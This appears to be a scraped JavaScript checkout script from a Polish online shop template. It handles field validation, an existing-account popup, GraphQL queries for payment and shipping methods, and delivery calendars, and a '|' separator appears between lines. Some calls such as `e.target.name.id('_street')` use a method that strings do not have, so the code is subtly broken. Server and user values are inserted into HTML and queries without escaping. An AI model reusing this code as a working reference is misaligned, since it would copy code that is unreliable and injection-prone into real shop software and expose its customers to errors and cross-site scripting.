|
|
// Dodaj klasy błędu
|
|
function addError(input){
|
|
clearValidation(input);
|
|
removeErrorMessage(input);
|
|
const wrapper = input.closest(".has-feedback");
|
|
clearValidation(wrapper);
|
|
wrapper.classList.add('--error', 'has-error');
|
|
};
|
|
// Dodaj klasy sukcesu
|
|
function addSuccess(input){
|
|
clearValidation(input);
|
|
removeErrorMessage(input);
|
|
const wrapper = input.closest(".has-feedback");
|
|
clearValidation(wrapper);
|
|
wrapper.classList.add('--success', 'has-success');
|
|
};
|
|
// Dodaj error wraz z wiadomością
|
|
function addErrorMessage(input, message){
|
|
addError(input);
|
|
input.closest('.has-feedback').insertAdjacentHTML("beforeend",`<span class="help-block validate_message text-danger">${message}.</span>`);
|
|
}
|
|
// Waliduj elementy wymagające wysłania requesta (zipcode, nip)
|
|
async function validateRequest(target, order=false){
|
|
const wrapper = target.closest(".has-feedback");
|
|
let reqData = `${target.name}=${target.value}`;
|
|
|
|
if(target.dataset.serialize) {
|
|
const serializeEl = document.querySelector(target.dataset.serialize);
|
|
reqData += '&' + `${serializeEl.name}=${encodeURIComponent(serializeEl.value)}`;
|
|
}
|
|
if(target.dataset.revalidate) {
|
|
target.dataset.revalidate.split(",").forEach(elQuery => {
|
|
validateRequest(document.querySelector(elQuery));
|
|
})
|
|
}
|
|
if(target.value === '') {
|
|
addErrorMessage(target, <iai:variable vid="Proszę wypełnić to pole"/>);
|
|
return false;
|
|
}
|
|
|
|
const resData = await $.ajax({
|
|
url: '/ajax/client-new.php?validAjax=true',
|
|
type: 'POST',
|
|
timeout: 16000,
|
|
dataType: 'JSON',
|
|
data: reqData,
|
|
});
|
|
|
|
if(resData.errno) {
|
|
let error_message = '';
|
|
if (resData.message.error_code) {
|
|
if (resData.message.zipcode_pattern && (resData.message.error_code === 'incorect_zipcode' || resData.message.error_code === 'incorect_delivery_zipcode')) {
|
|
error_message = clientNewErrorCode[resData.message.error_code] + ' ' + `${<iai:variable vid="Poprawne formaty kodu pocztowego dla wybranego kraju to [X - cyfra; Y - litera"/>}]:` + ' ';
|
|
error_message += resData.message.zipcode_pattern.join(', ');
|
|
}
|
|
else if (clientNewErrorCode[resData.message.error_code]) error_message = clientNewErrorCode[resData.message.error_code];
|
|
}
|
|
addError(target);
|
|
if (error_message) addErrorMessage(target, error_message);
|
|
return false
|
|
}else{
|
|
addSuccess(target);
|
|
if (target.name==="client_email" && !order) {
|
|
$.ajax({
|
|
url: '/ajax/client-new.php?checkClientExists=true',
|
|
type: 'POST',
|
|
timeout: 16000,
|
|
dataType: 'JSON',
|
|
data: {'client_mail': target.value},
|
|
}).then(function succesFn(resData) {
|
|
if(resData.client_exists === true || resData.login) showEmailPopup(resData);
|
|
});
|
|
}
|
|
return true;
|
|
}
|
|
};
|
|
// Pokaż popup jeśli użytkownik wpisał email który posiada już konto
|
|
function showEmailPopup(resData){
|
|
app_shop.fn.emailModal = new Modal({
|
|
html: `
|
|
<div class="propose_main">
|
|
<div class="propose_info">
|
|
<span class="propose_title">${<iai:variable vid="Mamy już zarejestrowane konto dla podanego adresu e-mail"/>}</span>
|
|
<span class="propose_text">${<iai:variable vid="Adres e-mail"/>}:</span>
|
|
<div class="propose_json_mail">
|
|
${resData.mail}
|
|
</div>
|
|
</div>
|
|
<p class="cn_propose_desc">
|
|
${<iai:variable vid="Proponujemy Ci użycie tego konta, co pozwoli Ci korzystać z przywilejów zarezerwowanych dla wielokrotnych klientów. Aby się zalogować na wcześniej założone konto, wystarczy kliknięcie na link, który możemy Ci wysłać w e-mailu"/>}
|
|
</p>
|
|
<div class="cn_propose_desc">
|
|
<div>
|
|
<a class="bm-oscop__btn button_password_recover"href="/password-recover.php?operation=recover&email=${resData.mail}">
|
|
${<iai:variable vid="Wyślij e-mail"/>}
|
|
</a>
|
|
</div>
|
|
<div>
|
|
<a href="/signin.php" id="mail_propose_signin" onclick="handleShowSigninModalFromEmailModal(event)">
|
|
${<iai:variable vid="Pamiętam swój login i hasło i mogę je podać"/>}
|
|
</a>
|
|
</div>
|
|
<div>
|
|
<a href="#close" class="place-order__close_toplayer_link" id="mail_propose_close" onclick="app_shop.fn.emailModal.closeModal()">
|
|
${<iai:variable vid="Chcę stworzyć nowe konto przy użyciu tego adresu (niezalecane)"/>}
|
|
</a>
|
|
</div>
|
|
</div>
|
|
</div>`,
|
|
classList: "--fade-in-modal",
|
|
afterShow: disablePageScroll,
|
|
beforeClose: enablePageScroll,
|
|
});
|
|
return;
|
|
}
|
|
function handleShowSigninModalFromEmailModal(e){
|
|
e.preventDefault();
|
|
app_shop.fn.emailModal.closeModal();
|
|
showSigninModal();
|
|
}
|
|
|
|
// EventListener zmian w kontenerze bm-oscop-section1
|
|
document.getElementById("bm-oscop-section1").addEventListener("input", (e) => {
|
|
clearTimeout(this.formChangeTimeoutFn);
|
|
|
|
this.formChangeTimeoutFn = setTimeout(()=>{
|
|
const validateRequestId = ["client_zipcode", "delivery_zipcode", "client_nip", "client_email"];
|
|
const notEmptyFieldsId = ["client_firstname", "client_lastname", "client_city", "delivery_firstname", "delivery_lastname", "delivery_city", "client_firm"];
|
|
|
|
// Walidacja zipcode, nipu i emaila
|
|
if(validateRequestId.includes(e.target.id)) return validateRequest(e.target);
|
|
|
|
// Zmiana regionu
|
|
if(e.target.name.includes("_region")) {
|
|
changeProvinceVisibility(e.target.name.replace("_region", ""));
|
|
|
|
const clientType = e.target.name.split("_")[0];
|
|
validateRequest(document.getElementById(`${clientType}_zipcode`));
|
|
if(clientType === "client" && document.getElementById("client_type1").checked === true) validateRequest(document.getElementById("client_nip"));
|
|
changeRegion();
|
|
return;
|
|
}
|
|
|
|
// Walidacja ulicy i numeru domu
|
|
if(e.target.name.id("_street")) validateStreet(e.target);
|
|
// Walidacja numeru telefonu
|
|
if(e.target.name.id("_phone")) validatePhone(e.target);
|
|
// Walidacja loginu i hasła rejestracji
|
|
if(e.target.classList.contains("register__login")) testLogin();
|
|
if(e.target.classList.contains("register__password")) testPassword();
|
|
// Walidacja imienia nazwiska miasta i firmy(wymagające po prostu nie bycia pustym)
|
|
if(notEmptyFieldsId.includes(e.target.id)) validateNotEmpty(e.target);
|
|
// Sprawdzenie czy firma w dostawie na inny adres została wpisana
|
|
if(e.target.id === "delivery_additional"){
|
|
if(e.target.value.length > 0) addSuccess(e.target);
|
|
else clearValidation(e.target);
|
|
};
|
|
}, 300)
|
|
});
|
|
|
|
// Funkcje walidacji poszczególnych elementów
|
|
function validateStreet(streetEl){
|
|
const streetParts = streetEl.value.split(" ");
|
|
const addressNumber = Number(streetParts[streetParts.length-1][0]);
|
|
if(streetEl.value.length === 0 || (streetEl.value.length > 0 && (!addressNumber || streetParts.length < 2))){
|
|
addErrorMessage(streetEl, <iai:variable vid="Wpisz nazwę ulicy lub miejscowości i numer domu"/>);
|
|
return false;
|
|
}else{
|
|
addSuccess(streetEl);
|
|
return true;
|
|
}
|
|
}
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////
|
|
function validatePhone(phoneEL){
|
|
const chosenCountry = phoneEL.closest(".--phone").querySelector(".phone_number__code_number").value;
|
|
const phoneValidationInfo = countryPhoneData.find(phoneData=>+phoneData.country_code === +chosenCountry);
|
|
|
|
|
|
const phoneNumber = phoneEL.value.replaceAll(" ","");
|
|
// Sprawdzenie czy cos jest wpisane
|
|
if(phoneNumber.length===0 || !Number(phoneNumber)){
|
|
addErrorMessage(phoneEL, <iai:variable vid="Wpisz swój telefon"/>);
|
|
return false;
|
|
}else{
|
|
let phoneError = false;
|
|
let phoneErrorMessage = "";
|
|
|
|
|
|
// Sprawdzenie czy numer telefonu zaczyna sie odpowiednia liczba
|
|
phoneBeginWithErrorNumbers = "";
|
|
phoneBeginWithError = true;
|
|
phoneValidationInfo.mobile_begin_with.forEach((el, index)=>{
|
|
if(phoneNumber.toString().startsWith(el)) phoneBeginWithError = false;
|
|
|
|
phoneBeginWithErrorNumbers += phoneValidationInfo.mobile_begin_with.length === 1 ? el : phoneValidationInfo.mobile_begin_with.length - 1 === index ? `${<iai:variable vid="lub"/>} ${el}` : `${el}, `
|
|
});
|
|
if(phoneBeginWithError){
|
|
phoneError = true;
|
|
phoneErrorMessage += `${<iai:variable vid="Numer telefonu dla tego kraju powinien zaczynać się liczbą"/>} ${phoneBeginWithErrorNumbers}`;
|
|
}
|
|
|
|
// Sprawdzenie czy numer telefonu sklada sie z odpowiedniej ilosci cyfr
|
|
if(!phoneValidationInfo.phone_number_lengths.includes(phoneNumber.length)){
|
|
phoneLengthErrorNumbers = "";
|
|
phoneValidationInfo.phone_number_lengths.forEach((el, index)=>{
|
|
phoneLengthErrorNumbers += phoneValidationInfo.phone_number_lengths.length === 1 ? el : phoneValidationInfo.phone_number_lengths.length - 1 === index ? `${<iai:variable vid="lub"/>} ${el}` : `${el}, `;
|
|
});
|
|
if(phoneError === true){
|
|
phoneErrorMessage += ` ${<iai:variable vid="oraz"/>} ${<iai:variable vid="Numer telefonu dla tego kraju musi składać się z"/>} ${phoneLengthErrorNumbers} ${<iai:variable vid="cyfr"/>}`;
|
|
}else{
|
|
phoneErrorMessage += `${<iai:variable vid="Numer telefonu dla tego kraju musi składać się z"/>} ${phoneLengthErrorNumbers} ${<iai:variable vid="cyfr"/>}`;
|
|
phoneError = true;
|
|
}
|
|
}
|
|
|
|
if(phoneError){
|
|
addErrorMessage(phoneEL, phoneErrorMessage);
|
|
return false;
|
|
}
|
|
}
|
|
addSuccess(phoneEL);
|
|
return true;
|
|
}
|
|
|
|
//////////////////////////////////////////////////////////////////
|
|
function validateNotEmpty(checkEl){
|
|
if(checkEl.value.length < 1) {
|
|
addErrorMessage(checkEl, <iai:variable vid="Proszę wypełnić to pole"/>);
|
|
return false;
|
|
}
|
|
else{
|
|
addSuccess(checkEl);
|
|
return true;
|
|
}
|
|
}
|
|
|
|
// Sprawdzenie loginu i hasla
|
|
function testLogin(){
|
|
const login = document.querySelector(".register__login");
|
|
if(login.value.trim().length < 1){
|
|
addErrorMessage(login, <iai:variable vid="Proszę wypełnić to pole"/>);
|
|
return false;
|
|
}
|
|
else if(!/^[A-Za-z0-9@._-]*$/.test(login.value.trim()) || Number(login.value.trim()) || login.value.trim().length<3){
|
|
addErrorMessage(login, <iai:variable vid="Login musi mieć minimum 3, a maksimum 40 znaków. Możesz użyć liter i cyfr oraz symboli @ . - _"/>);
|
|
return false;
|
|
}else{
|
|
addSuccess(login);
|
|
return true;
|
|
}
|
|
}
|
|
function testPassword(){
|
|
const repeatPassword = document.getElementById("repeat_password");
|
|
const password = document.querySelector(".register__password");
|
|
repeatPassword.value = password.value;
|
|
if(password.value.trim().length < 1){
|
|
addError(password);
|
|
password.closest('.has-feedback').insertAdjacentHTML("beforeend", `<span class="help-block validate_message text-danger">${<iai:variable vid="Proszę wypełnić to pole"/>}.</span>`);
|
|
return false;
|
|
}
|
|
if(password.value.trim().length < 6){
|
|
addError(password);
|
|
password.closest('.has-feedback').insertAdjacentHTML("beforeend", `<span class="help-block validate_message text-danger">${<iai:variable vid="Hasło musi składać się z minimum 6 znaków"/>}.</span>`);
|
|
return false;
|
|
}else{
|
|
addSuccess(password);
|
|
return true;
|
|
}
|
|
}
|
|
|
|
// Obsługa przesuwających się labelek
|
|
document.querySelector("body").addEventListener("change", (e) => {
|
|
if(e.target.classList.contains("f-control")){
|
|
if(e.target.value.length > 0) e.target.classList.add("focused");
|
|
else e.target.classList.remove("focused");
|
|
}
|
|
})
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// DOSTAWA I PŁATNOSĆI
|
|
|
|
const SET_REGION = (setRegionInput) => JSON.stringify({
|
|
query: `mutation {
|
|
setRegion(${setRegionInput}) {
|
|
status
|
|
error {
|
|
code
|
|
message
|
|
}
|
|
}
|
|
}`,
|
|
});
|
|
|
|
// Zmiana regionu dostawy
|
|
async function changeRegion(payAndDelData = null) {
|
|
console.log("fn: changeRegion()")
|
|
// Pobranie informacji o regionie z formularza
|
|
const clientRegion = document.getElementById("client_region").value;
|
|
const deliveryRegion = document.getElementById("deliver_to_billingaddr").checked ? document.getElementById("delivery_region").value : clientRegion;
|
|
|
|
// Zmiana regionu
|
|
const regionStatus = await this.fetchData({
|
|
data: SET_REGION(`SetRegionInput: {
|
|
billingRegionId: ${clientRegion},
|
|
deliveryRegionId: ${deliveryRegion},
|
|
areForced: true
|
|
}`),
|
|
linkParameter: '?mutation=setRegion',
|
|
});
|
|
const { status } = regionStatus?.data?.setRegion || {};
|
|
if (status !== 'success') return alert(<iai:variable vid="Błąd podczas zmiany kraju. Przeładuj stronę jeszcze raz."/>);
|
|
|
|
// Waliduj numery telefonu dla kraju
|
|
if(!firstTimeLoadPage){
|
|
validatePhone(document.getElementById("client_phone"));
|
|
validatePhone(document.getElementById("delivery_phone"));
|
|
}
|
|
|
|
|
|
// Pobranie nowych metod płatności i dostaw
|
|
getNewPaymentsAndDeliveries(payAndDelData);
|
|
};
|
|
|
|
const PAYMENTS_AND_DELIVERY_METHODS = () => JSON.stringify({
|
|
query: `query{
|
|
paymentsMethod {
|
|
payments {
|
|
id
|
|
name
|
|
icon
|
|
methodAsGroup
|
|
paymentChannel {
|
|
id
|
|
name
|
|
icon
|
|
}
|
|
paymentSystem {
|
|
id
|
|
name
|
|
}
|
|
additionalClientCost {
|
|
costPercent
|
|
costFixedAmount {
|
|
value
|
|
}
|
|
minAmount {
|
|
value
|
|
}
|
|
}
|
|
terms {
|
|
supportsPaymentInitiationService
|
|
paymentInitiationServiceTerms {
|
|
id
|
|
type
|
|
clause
|
|
}
|
|
}
|
|
}
|
|
paymentsGroup {
|
|
id
|
|
name
|
|
icon
|
|
}
|
|
paymentsGroupTerms {
|
|
groupId
|
|
type
|
|
clausePrefix
|
|
clause
|
|
}
|
|
settings {
|
|
defaultPaymentMethodId
|
|
}
|
|
}
|
|
shipping(ShippingInput: { mode: basket }) {
|
|
settings {
|
|
checked
|
|
orderDivisionEnabled
|
|
}
|
|
shipping {
|
|
availability
|
|
calendar
|
|
calendarOption
|
|
comment
|
|
prepaid
|
|
minworthReached
|
|
workingDays
|
|
pointsSelected
|
|
pointsEnabled
|
|
pointsCost {
|
|
value
|
|
formatted
|
|
}
|
|
minworth {
|
|
formatted
|
|
}
|
|
courier {
|
|
id
|
|
fullId
|
|
icon
|
|
name
|
|
pickupPoint
|
|
companyKey
|
|
companyGroupKey
|
|
}
|
|
cost {
|
|
value
|
|
formatted
|
|
}
|
|
deliveryTime {
|
|
time {
|
|
days
|
|
}
|
|
weekDay
|
|
weekAmount
|
|
today
|
|
}
|
|
}
|
|
shippingTime {
|
|
shippingTime {
|
|
time {
|
|
days
|
|
hours
|
|
minutes
|
|
}
|
|
workingDays
|
|
weekDay
|
|
weekAmount
|
|
today
|
|
}
|
|
unknownTime
|
|
}
|
|
shippingTimeLater {
|
|
shippingTime {
|
|
time {
|
|
days
|
|
hours
|
|
minutes
|
|
}
|
|
workingDays
|
|
weekDay
|
|
weekAmount
|
|
today
|
|
}
|
|
unknownTime
|
|
}
|
|
nonStandardizedInfo {
|
|
active
|
|
isAllowed
|
|
courierId
|
|
}
|
|
}
|
|
}`,
|
|
});
|
|
|
|
// Załadowanie metod dostaw i płatności
|
|
async function getNewPaymentsAndDeliveries(data = null) {
|
|
// Wyczyszczenie zapisanych poprzednich metod płatności
|
|
prevPayment = undefined;
|
|
prevShipping = undefined;
|
|
// Wyczyszczenie punktow odbioru
|
|
deliveryPickupPoints.length = 0;
|
|
app_shop.fn.ajaxLoadSite(1);
|
|
|
|
// Dane do uzupełnienia przy edycji
|
|
let paymentValue, deliveryId;
|
|
if(data){
|
|
paymentValue = data.paymentMethodId;
|
|
deliveryId = `item_${data.deliveryMethodId}-${paymentValue === "cash" ? "0" : "1"}`;
|
|
}
|
|
|
|
const paymentsAndDeliveryData = await fetchData({data: PAYMENTS_AND_DELIVERY_METHODS()});
|
|
|
|
// error gdyby nie było produktów
|
|
if(paymentsAndDeliveryData.errors){
|
|
paymentsAndDeliveryError(paymentsAndDeliveryData.errors);
|
|
}
|
|
|
|
// Dane do zaznaczenia płatności i dostawy jeśli wcześniej na tej przeglądarce(localStorage) było już zamówienie
|
|
const prevOrderInfo = JSON.parse(localStorage.getItem("prevOrderInfo"));
|
|
|
|
// dostawy za pobraniem
|
|
let dvpMarkup = "";
|
|
// dostawy za przedłatą
|
|
let prepaidMarkup = "";
|
|
let dvpPaymentMethod = false;
|
|
|
|
//Pobranie startowych form dostaw/płatności jeśli nie ma
|
|
let startingPaymentMethod;
|
|
if(!deliveryId && paymentsAndDeliveryData?.data?.shipping?.settings?.checked){
|
|
deliveryId = `item_${paymentsAndDeliveryData.data.shipping.settings.checked}`;
|
|
startingPaymentMethod = paymentsAndDeliveryData.data.shipping.settings.checked.split("-")[1]
|
|
}
|
|
|
|
// DOSTAWY
|
|
if(paymentsAndDeliveryData.data.shipping.shipping){
|
|
paymentsAndDeliveryData.data.shipping.shipping.forEach(deliveryMethod=>{
|
|
if(deliveryMethod.prepaid === "dvp"){
|
|
dvpMarkup += prepareDeliveryMarkup(deliveryMethod, deliveryId);
|
|
dvpPaymentMethod = true;
|
|
}else{
|
|
prepaidMarkup += prepareDeliveryMarkup(deliveryMethod, deliveryId);
|
|
}
|
|
});
|
|
}else{
|
|
prepaidMarkup += `<div class="bm-oscop__message" id="menu_messages_warning"><div class="menu_messages_message_sub">${<iai:variable vid="Brak dostępnych kurierów"/>} ${<iai:variable vid="w celu uzyskania informacji jak skompletować zamówienie"/>} <a href="/contact.php">${<iai:variable vid="skontaktuj się z nami"/>}`;
|
|
}
|
|
|
|
// Wstawienie metod dostaw na strone
|
|
const deliveryMarkup = `<div id="osc_order1">
|
|
<div id="osc_order1_prepaid" style="${paymentValue === "cash" || startingPaymentMethod === "0" ? "display:none;" : "display:block;"}">${prepaidMarkup}</div>
|
|
<div id="osc_order1_dvp" style="${paymentValue === "cash" || startingPaymentMethod === "0" ? "display:block;" : "display:none;"}">${dvpMarkup}</div>
|
|
</div>`;
|
|
const previousDeliveries = document.getElementById("osc_order1");
|
|
if(previousDeliveries) previousDeliveries.remove();
|
|
document.getElementById("bm-oscop-deliveries").insertAdjacentHTML("beforeend",deliveryMarkup);
|
|
|
|
|
|
// płatności
|
|
let prepaidsMethodMarkup = "";
|
|
let prepaidsTransferMarkup = createPaymentContainerMarkup("transfer");
|
|
let prepaidsCardMarkup = createPaymentContainerMarkup("card");
|
|
|
|
// Sprawdzenie czy sklep ma możliwość płatności bankiem/kartą
|
|
let ifPaymentTransfer = false;
|
|
let ifPaymentCard = false;
|
|
|
|
//PŁATNOŚCI
|
|
if(paymentsAndDeliveryData.data.paymentsMethod.payments.length > 0){
|
|
paymentsAndDeliveryData.data.paymentsMethod.payments.forEach(method => {
|
|
// Zaznaczenie na start
|
|
let checkedPaymentForMarkup = paymentValue === method.id;
|
|
if(!checkedPaymentForMarkup && startingPaymentMethod === "1" && method.id !== 2 && method.paymentChannel.id !== "bank" && method.paymentChannel.id !== "card" && method.paymentChannel.id !== "installment") checkedPaymentForMarkup = true;
|
|
|
|
const markup = `
|
|
<div class="osc_item" for="payitem_${method.id}">
|
|
<input id="payitem_${method.id}" value="${method.id}" type="radio" name="payform_id" data-group="${method.paymentChannel.id}" ${checkedPaymentForMarkup ? "checked" : ""}>
|
|
<div class="photo">
|
|
<img src="${method.icon}" alt="${method.name}">
|
|
</div>
|
|
<div class="name">
|
|
<span>${method.name}</span>
|
|
</div>
|
|
${2 == method.id ? '<div class="voucher-value" style="display:none;"></div>' : ""}
|
|
</div>`;
|
|
|
|
// Przygotowanie metod dla przelewów online/kart płatności
|
|
if(method.paymentChannel.id === "transfer") {
|
|
prepaidsTransferMarkup += markup;
|
|
ifPaymentTransfer = true;
|
|
}
|
|
else if(method.paymentChannel.id === "card"){
|
|
prepaidsCardMarkup += markup;
|
|
ifPaymentCard = true;
|
|
}
|
|
else{
|
|
prepaidsMethodMarkup += markup;
|
|
// Okienko vouchera
|
|
if(method.id === 2){
|
|
prepaidsMethodMarkup += `
|
|
<div class="order__voucher_container osc_item-modal">
|
|
<div class="order__voucher_headlines">
|
|
<strong class="order__voucher_headline">Bon towarowy</strong>
|
|
<span class="order__voucher_description">Zapłać za zakupy bonem towarowym</span>
|
|
</div>
|
|
<div class="order__voucher_wrapper">
|
|
<div class="order__voucher_group --number f-group">
|
|
<div class="order__voucher_feedback f-feedback --required has-feedback">
|
|
<input id="order_voucher_id" class="order__voucher_input f-control form-control" value="" name="voucher_id" type="text">
|
|
<label class="order__voucher_label f-label" for="order_voucher_id">${<iai:variable vid="Numer bonu"/>}</label>
|
|
<span class="order__voucher_status f-control-feedback"></span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="order__voucher_buttons">
|
|
<button class="order__voucher_button bm-oscop__btn">${<iai:variable vid="Zatwierdź bon"/>}</button>
|
|
</div>
|
|
<small class="order__voucher_info">Jeżeli posiadasz więcej bonów, możesz wpisać ich numery przy podsumowaniu zamówienia.</small>
|
|
</div>`
|
|
}
|
|
}
|
|
});
|
|
}else if(!dvpPaymentMethod){
|
|
prepaidsMethodMarkup += `<div class="bm-oscop__message" id="menu_messages_warning"><div class="menu_messages_message_sub">${<iai:variable vid="Brak metod płatności"/>} ${<iai:variable vid="w celu uzyskania informacji jak skompletować zamówienie"/>} <a href="/contact.php">${<iai:variable vid="skontaktuj się z nami"/>}`;
|
|
}
|
|
|
|
prepaidsTransferMarkup += "</div></div></div>";
|
|
prepaidsCardMarkup += "</div></div></div>";
|
|
|
|
// PŁATNOŚĆ ZA POBRANIEM
|
|
if(dvpPaymentMethod) prepaidsMethodMarkup += `
|
|
<div class="osc_item" for="payitem_cash">
|
|
<input id="payitem_cash" value="cash" type="radio" name="payform_id" ${paymentsAndDeliveryData.data.paymentsMethod.payments.length === 0 || paymentValue === "cash" || startingPaymentMethod === "0" ? "checked" : ""}>
|
|
<div class="photo">
|
|
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAWCAIAAAANYFjGAAACvUlEQVR4Ac1XNZQsVRCtahufWXd3d43xDIcEh4wU9wR3+M4n2wQnwjXB3d1tfXtHu/u94vW89U3Wes/ceed21eg9t+T0QE1NTV8OoD8LGQtJ0NPTQzkGIUlRVRX2CLPm5LNvHEykFmB3EJIU2AtYdvqLH9987PlrP/7u9dfen7DtNBHBLrBbWUQ0OfvbW58+vpD+trOps668acb847m37vnxj3dhF9Bgm+CcASAAiTiViX/169t/TX+uqUY8xXVd7+8YzFhsZu7vv6a+rq8YVBUVFdVbt2wrfcfVl9525RkPXn3eozdf9PTzd7/47qHf/v4EGPh1o6q0rLm6uShWUlFY1Vo7WFne+OTEbbdecdq7rz7trVsL0//6pj7s7uwK+H3+aMSPcZolv9+P4EBiASdNm/9mcXK9JOJENWBiGf79w6dw4lkeylJUpaokVldV4guEfP4AAsqacgJijHGHC3JzRpwjZ0GFautq09F8b91CQKFM01Td0AyfIcaYVsC5K4xLVa4scWzbSiSS4jPetzxBVoNkyuZA3I0l5BURCbPfrhu//vzdPiwIFAdlhCJZAUlGFBFNTU5PTk5Pzy6Y8ZT511feuwUkDrosnVqB1IoKKvFEanExUd7YiU4SgZeWFu/POkXK2kTrfQJElBFxQoUVDdigR8J+BO65WyS7a90zklCwuHDimmFEQn7+51t+QzNNS4tWe+4WAqLLq0BJUq3L4DOMouLCqMHJTsyLHkso+1REqQyX0+XHuhlgnIiRIMeyvJVFy0S4zjp0YzkLa5xciknVdW97ixgT61EcxsFxGCqKXFvAXVeyK15eHbnHbMtSFG3stAt3K0veJMmR2oy8ksrx82+IRsKqoWuajihbShq4As4dJtcFZ3YwvzIQKXBjohVnJZEAgLL8W47tkOPoAb9Mc/SmOUf/YvwP3b7irCzN40MAAAAASUVORK5CYII=" alt="${<iai:variable vid="Płatność przy odbiorze"/>}">
|
|
</div>
|
|
<div class="name">
|
|
<span>${<iai:variable vid="Płatność przy odbiorze"/>}</span>
|
|
</div>
|
|
</div>`;
|
|
|
|
|
|
// Wstawienie metod płatności na stronę
|
|
const previousPayments = document.getElementById("osc_prepaids_method");
|
|
if(previousPayments) previousPayments.remove();
|
|
document.getElementById("bm-oscop-payments").insertAdjacentHTML("beforeend", `
|
|
<div id="osc_prepaids_method"> ${ifPaymentTransfer ? prepaidsTransferMarkup : ""}${ifPaymentCard ? prepaidsCardMarkup : ""}${prepaidsMethodMarkup}</div>`);
|
|
|
|
// Przygotowanie informacji o dostawie do obliczenia daty dostawy
|
|
const deliveryDateInfo = {deliveryVal: null, delivery: null, pickuppoint: null};
|
|
const firstInput = document.querySelector("#osc_order1 input");
|
|
if(firstInput) changeDeliveryInfoObject(deliveryDateInfo, firstInput);
|
|
|
|
// Wstawienie pickuppoint jeśli edycja i istnieje
|
|
if(data?.pickupData !== undefined && data?.pickupData !== null){
|
|
const selectedShipping = document.querySelector(`#bm-oscop-section2 input#${deliveryId}`);
|
|
const pointExists = await checkPrevPickupPoint(
|
|
selectedShipping.parentElement.querySelector(".fselectedPoint"),
|
|
data.pickupData.id,
|
|
data.pickupData.name,
|
|
`${data.pickupData.address.street} ${data.pickupData.address.buildingAndHouseNumber}`,
|
|
data.pickupData.address.city,
|
|
data.pickupData.address.postcode,
|
|
data.deliveryMethodId
|
|
)
|
|
// Odznaczenie punktu jeśli punkt odbioru nie istnieje(Wcześniej był zaznaczony przy edycji)
|
|
if(!pointExists) selectedShipping.checked = false;
|
|
else changeDeliveryInfoObject(deliveryDateInfo, selectedShipping);
|
|
}// Sprawdzenie czy użytkownik ma zapisane poprzednio użyte metody w przeglądarce(tylko przy pierwszym załadowaniu strony)
|
|
else if(firstTimeLoadPage && prevOrderInfo && prevOrderInfo?.prevCountry === document.getElementById("client_region").value){
|
|
// POPRZEDNIA PŁATNOSC
|
|
const prevPaymentMethod = prevOrderInfo.prevPaymentMethod;
|
|
|
|
// Zaznaczenie metod płatności które nie tworzą popupa
|
|
if(prevPaymentMethod.id !== "payitem_2" && prevPaymentMethod.group !== "card" && prevPaymentMethod.group !== "transfer"){
|
|
document.getElementById(prevPaymentMethod.id).click();
|
|
}
|
|
else if(prevPaymentMethod.group === "card" || prevPaymentMethod.group === "transfer"){
|
|
const paymentMethodId = prevPaymentMethod.id.replace("-clone", "");
|
|
cloneElement(document.getElementById(paymentMethodId));
|
|
}
|
|
|
|
// POPRZEDNIA DOSTAWA
|
|
const prevDeliveryMethod = prevOrderInfo.prevDeliveryMethod;
|
|
const prevDeliveryInput = document.querySelector(`input#${prevDeliveryMethod.id}`);
|
|
|
|
// Sprawdzenie czy istnieje metoda dostawy (na wypadek gdyby była usunięta lub klient zamawiał do innego kraju)
|
|
if(prevDeliveryInput){
|
|
// Sprawdzenie czy dostawa miała punkt odbioru
|
|
if(prevDeliveryMethod.fselectedPoint){
|
|
const pointExists = await checkPrevPickupPoint(
|
|
prevDeliveryInput.parentElement.querySelector(".fselectedPoint"),
|
|
prevDeliveryMethod.fselectedPoint.deliveryPointId,
|
|
prevDeliveryMethod.fselectedPoint.name,
|
|
prevDeliveryMethod.fselectedPoint.street,
|
|
prevDeliveryMethod.fselectedPoint.city,
|
|
prevDeliveryMethod.fselectedPoint.zipcode,
|
|
prevDeliveryMethod.fselectedPoint.courierId
|
|
)
|
|
if(pointExists) prevDeliveryInput.checked = true;
|
|
}else{
|
|
prevDeliveryInput.checked = true;
|
|
}
|
|
changeDeliveryInfoObject(deliveryDateInfo, prevDeliveryInput);
|
|
}
|
|
}
|
|
|
|
// Zaznaczenie karty/banku w przypadku edycji
|
|
const checkedPayment = document.querySelector(`#osc_prepaids_method input[name="payform_id"]:checked`)
|
|
if(paymentValue && checkedPayment && (checkedPayment.dataset.group === "card" || checkedPayment.dataset.group === "transfer")){
|
|
cloneElement(checkedPayment);
|
|
}
|
|
|
|
// Przeładowanie mapy
|
|
loadMap();
|
|
|
|
// Zmiana daty dostawy i pokazanych opcji dostawy
|
|
if(deliveryDateInfo.deliveryVal && deliveryDateInfo.delivery && deliveryDateInfo.pickuppoint) calculateDeliveryDate(deliveryDateInfo.deliveryVal, deliveryDateInfo.delivery, deliveryDateInfo.pickuppoint);
|
|
|
|
// Przeliczenie kosztu dostawy
|
|
calculateBasketCost();
|
|
|
|
app_shop.fn.ajaxLoadSite(0);
|
|
firstTimeLoadPage = false;
|
|
|
|
// Wstawienie kalendarza do wyboru dnia dostawy
|
|
document.querySelectorAll(".osc_item.--calendar").forEach(el=>{
|
|
const calendarContainer = el.querySelector(".delivery_date__calendar_container");
|
|
|
|
// Miejsce na święta
|
|
const holidays = [];
|
|
|
|
// Przerobienie wolnych dni z tekstu na tablicę liczb;
|
|
const workingDaysArr = el.dataset.workingDays.split(",").map(day=>Number(day));
|
|
|
|
|
|
// Wyliczenie ostatniego dnia na dostawę na 2 miesiące od pierwszego dostępnego dnia
|
|
const maxDeliveryDate = new Date(el.dataset.deliveryDate);
|
|
maxDeliveryDate.setMonth(maxDeliveryDate.getMonth() + 2);
|
|
|
|
// KALENDARZ
|
|
const vanillaCal = new VanillaCalendar(el.querySelector(".delivery_date__calendar_container"), {
|
|
date: {
|
|
min: el.dataset.deliveryDate,
|
|
max: maxDeliveryDate.toLocaleDateString('en-CA'),
|
|
today: new Date(el.dataset.deliveryDate.replace(/-/g, '/')),
|
|
},
|
|
settings: {
|
|
workingDays: workingDaysArr,
|
|
selected: {
|
|
dates: [el.dataset.deliveryDate],
|
|
holidays: holidays,
|
|
},
|
|
},
|
|
actions: {
|
|
clickDay: (e, dates) => {
|
|
e.stopPropagation();
|
|
const customDateContainer = el.querySelector(".delivery_date__calendar_option.--custom");
|
|
el.querySelector(".delivery_date__calendar_option.--another").classList.remove("--open");
|
